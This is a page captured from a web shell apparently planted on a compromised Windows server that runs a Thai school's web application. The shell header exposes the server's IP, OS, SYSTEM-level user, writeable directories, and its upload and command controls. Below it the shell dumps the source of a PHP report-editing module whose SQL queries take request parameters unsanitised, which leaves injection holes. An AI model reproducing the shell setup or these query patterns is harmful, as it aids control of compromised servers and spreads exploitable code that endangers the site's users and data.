403Webshell
Server IP : 104.21.80.248  /  Your IP : 162.159.115.42
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/ratchaborika/modules/reports/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/ratchaborika/modules/reports/addedit2.php
<?
CheckUser($_SESSION['user_user'], $_SESSION['user_pwd']);
?>
<script type="text/javascript">
function myoffice(val, group_num)
{
if(val==true)
{
	document.getElementById("group"+group_num+"").style.display="";
}
else
{
	document.getElementById("group"+group_num+"").style.display="none";
}

}
</script>
<script type="text/javascript">
function myoffice1(val, group_num)
{
if(val==true)
{
	document.getElementById("group1"+group_num+"").style.display="";
}
else
{
	document.getElementById("group1"+group_num+"").style.display="none";
}

}
</script>
<script>
    function checkall(formname,checkname,thestate){
      var el_collection=eval("document.forms."+formname+"."+checkname)
      for (c=0;c<el_collection.length;c++)
      el_collection[c].checked=thestate
    }
 </script>
<script language="JavaScript">

//******************************************
function checkregis() {

if(document.myform.TOPIC.value=="") {
alert("กรุณาใส่ชื่อเรื่อง") ;
document.myform.TOPIC.select() ;
return false ;
}

//********************************************
}
</script>
	<TABLE cellSpacing=0 cellPadding=0 width=1005 height=450 border=0>
      <TBODY>
        <TR>
          <TD vAlign=top>
				<TABLE width="800" bgcolor=#FFFFFF align=center cellSpacing=0 cellPadding=0 border=0>
				<TR>
					<TD height="1" class="dotline"></TD>
				</TR>
				<TR>
					<TD>
<?
  if($_GET[op] == "report_edit" AND $_GET[action] == "edit"){
	//////////////////////////////////////////// กรณีแก้ไข Database Edit
	if(CheckLevelUser($_SESSION['user_user'],$_GET[op])){
//	CheckUser($_SESSION['user_user']);
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
		$arr[user] = $db->fetch($res[user]);
		//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[report] = $db->select_query("SELECT * FROM ".TB_REPORT." WHERE id='".$_GET[id]."' ");
		$arr[report] = $db->fetch($res[report]);
		$db->closedb ();
		//require("includes/class.resizepic.php");
		//$FILE = $_FILES['FILE'];
		if ((!$_POST[TOPIC])OR(!$_POST[KPI])){
			echo "<script language='javascript'>" ;
			echo "alert('กรุณากรอกข้อมูลต่างๆให้ครบถ้วน')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
	}
//บันทึกลงบานข้อมูล
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$db->update_db(TB_REPORT,array(
			"cat"=>",".implode(",", $_POST[CAT]).",",
			"category"=>"$_POST[CATEGORY]",
			"kpi"=>"$_POST[KPI]",
			"topic"=>"$_POST[TOPIC]",
			"update_date"=>"".TIMESTAMP.""
		)," id=$_GET[id] ");
		$db->closedb ();
} else {
		//ทำการแก้ไขข้อมูลลงดาต้าเบส
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$db->update_db(TB_REPORT,array(
			"cat"=>",".implode(",", $_POST[CAT]).",",
			"category"=>"$_POST[CATEGORY]",
			"kpi"=>"$_POST[KPI]",
			"topic"=>"$_POST[TOPIC]",
			"update_date"=>"".TIMESTAMP.""
		)," id=$_GET[id] ");
		$db->closedb ();
}
		
		$ProcessOutput .= "<BR><BR>";
		$ProcessOutput .= "<CENTER><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
		$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการแก้ไข เรียบร้อยแล้ว</B></FONT><BR><BR>";
		$ProcessOutput .= "<A HREF=\"?name=report&category=".$arr[user][id]."\"><B>กลับหน้าหลักเอกสาร</B></A>";
		$ProcessOutput .= "<meta http-equiv=\"refresh\" content=\"1 ;url=?name=reports&file=kpi&op=report_read\">";
		$ProcessOutput .= "</CENTER>";
		$ProcessOutput .= "<BR><BR>";
	
	echo $ProcessOutput ;
}
else if($_GET[op] == "report_edit"){
	//////////////////////////////////////////// กรณีแก้ไข Form
	if(CheckLevelUser($_SESSION['user_user'],$_GET[op])){
		//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[report] = $db->select_query("SELECT * FROM ".TB_REPORT." WHERE id='".$_GET[id]."' ");
		$arr[report] = $db->fetch($res[report]);
		$db->closedb ();

//	CheckUser($_SESSION['user_user']);
		?>

<FORM NAME="myform" METHOD=POST ACTION="?name=reports&file=addedit2&op=report_edit&action=edit&id=<?=$_GET[id];?>" enctype="multipart/form-data" onSubmit="return checkregis()">
<TABLE width=850 height="80" align="center" background="images/124.jpg" border=0 cellPadding=0 cellSpacing=0>
     <TR>
          <TD align="center" vAlign=top><B>ระบบบันทึกตัวชี้วัด</B>
		  </TD>
		  </TR>
     <TR>
          <TD vAlign=top>
<TABLE width=800 height="80" align="center" border=0 cellPadding=0 cellSpacing=0>
     <TR>
          <TD vAlign=top>
<BR>
<B> รายการที่ส่ง:</B>
<INPUT TYPE="radio" NAME="KPI" size="100" VALUE="1" >KRS  
<INPUT TYPE="radio" NAME="KPI" size="100" VALUE="2" >ARS กลยุทธ์ที่ 1
<INPUT TYPE="radio" NAME="KPI" size="100" VALUE="3" >ARS กลยุทธ์ที่ 2
<INPUT TYPE="radio" NAME="KPI" size="100" VALUE="4" >ARS กลยุทธ์ที่ 3
<INPUT TYPE="radio" NAME="KPI" size="100" VALUE="5" >ARS กลยุทธ์ที่ 4
<BR><BR>
<B> เรื่อง:</B>
<INPUT TYPE="text" NAME="TOPIC" size="100" VALUE="<?=$arr[report][topic];?>" >
		  </TD>
				</TR>
  </table>
<BR>
<TABLE width=800  align="center" border=0 cellPadding=0 cellSpacing=0>
<tr>
<td>
<B></B><input type="checkbox"  id="chk1"  onclick="myoffice(this.checked, '1')" /> <b>จนท.รับข้อมูลตัวชี้วัด</b>
<div id="group1" style="display:none;">
<table bgcolor="#E0EEC8" width="100%" align="rigth" border="0" cellspacing="0" cellpadding="0">
<tr>
<?
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE work='5' ");
while ($arr[user] = $db->fetch($res[user])){
?>
<td width="100%"  align="left" valign="top">
<input type="radio" name="CATEGORY" value="<?=$arr[user][id];?>" ><b><?=$arr[user][category_name];?></b>
<?
$count++;

if (($count%1) == 0) { echo "<TR><TD></TD></TR>"; $count=0; 
} else{
	echo "</TD>";
} 
}
$db->closedb ();
?>
</td></tr>
  </table>
  </div>
<TABLE width=800  align="center" border=0 cellPadding=0 cellSpacing=0>
<tr>
<td>
<BR>
<B>ผู้รายงานข้อมูลตัวชี้วัด : </B>&nbsp;<img src="images/arrow_nn.gif">
<BR>
<?
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[category] = $db->select_query("SELECT * FROM ".TB_WORKING_CAT."  ORDER by id ");
		while ($arr[category] = $db->fetch($res[category])){
?>
<font color=blue><B><u><input type="checkbox"  onclick="myoffice(this.checked, '<?=$arr[category][id];?>')" /><?=$arr[category][category_name];?></u></B></font>

<div id="group<?=$arr[category][id];?>" style="display:none;">
<a href="javascript:checkall('myform','v<?=$arr[category][id];?>',true)">เลือกทั้งหมด</a>  &nbsp;&nbsp;
<a href="javascript:checkall('myform','v<?=$arr[category][id];?>',false)">เอาออกทั้งหมด</a> <BR>
<TABLE WIDTH="800" align="center" bgcolor="#FFFFcd" border=0 cellspacing="0" cellpadding="0">
<tr>
<?
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE working='".$arr[category][id]."'  and status='1' ORDER BY id  ");
while ($arr[user] = $db->fetch($res[user])){
?>
<td width="25%"  valign="top">
<input type="checkbox" name="CAT[]"  id="v<?=$arr[category][id];?>"  value="<?=$arr[user][id];?>"><b> <?=$arr[user][category_name];?></b>
<?
$count++;

if (($count%3) == 0) { echo "<TR><TD></TD></TR>"; $count=0; 
} else{
	echo "</TD>";
} 
?>
<?
}
$db->closedb ();
?>
    </tr>
  </table>
</div>
<?
}
?>
</TD>
</TR>
</table>
</TD>
</TR>
</table>
<TABLE width=600 height="80" align="center" border=0 cellPadding=0 cellSpacing=0>
     <TR>
          <TD vAlign=top>
<BR>
 <?
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
$arr[user] = $db->fetch($res[user]);
?>
 <table width="750" align="center" border="0" cellspacing="0" cellpadding="0">
<tr>
 <td colspan="2" align="center">
	<INPUT TYPE="submit" value=" บันทึกแก้ไข " name="submit"> 
</td>
    </tr>
  </table>
</FORM>
<?
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}

?>
					</TD>
				</TR>
			</TABLE>
			<!-- user -->
		  </TD>
        </TR>
      </TBODY>
    </TABLE>

Youez - 2016 - github.com/yon3zu
LinuXploit